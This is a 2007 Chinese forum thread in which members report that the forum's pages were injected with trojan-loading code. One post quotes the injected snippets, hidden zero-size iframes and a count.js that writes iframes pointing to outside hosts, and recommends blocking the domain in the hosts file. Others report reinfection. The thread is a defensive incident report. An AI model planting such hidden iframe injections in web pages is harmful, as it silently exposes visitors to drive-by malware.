病毒换马甲 请兔子尽快解决

eerrr

论坛页面有3处地方被挂了木马
其中网站http://www.cnzznz.com/js/count.htm框架代码挂了一个
强烈建议大家在WINDOWS\system32\drivers\etc目录下的hosts文件里加上
0.0.0.0       www.p188.net
0.0.0.0       p188.net
彻底屏蔽该网站
<script src='http://s2.cnzz.com/stat.php?id=371697&web_id=371697' language='JavaScript' charset='gb2312'></script>
<iframe src="http://p188.net/adminmulti/yes.htm" width="0" height="0" border="0"></iframe>






[ 本帖最后由 eerrr 于 2007-2-5 14:02 编辑 ]

eerrr

只找到了两处 可能还漏掉了一个
count.js:
document.write("<iframe src=http://www.cnzznz.com/js/count.htm width=0 height=0></iframe>");
document.write("<iframe src=http://p188.net/adminmulti/yes.htm width=0 height=0></iframe>");

新世代黑组长

又干掉了

新世代黑组长

明天服务器停机检查

光衣

好象又来了 按了后退是到另一个联结

毒男

这毒  不过年呀  真多呀
防不胜防

jseric

好象又中招了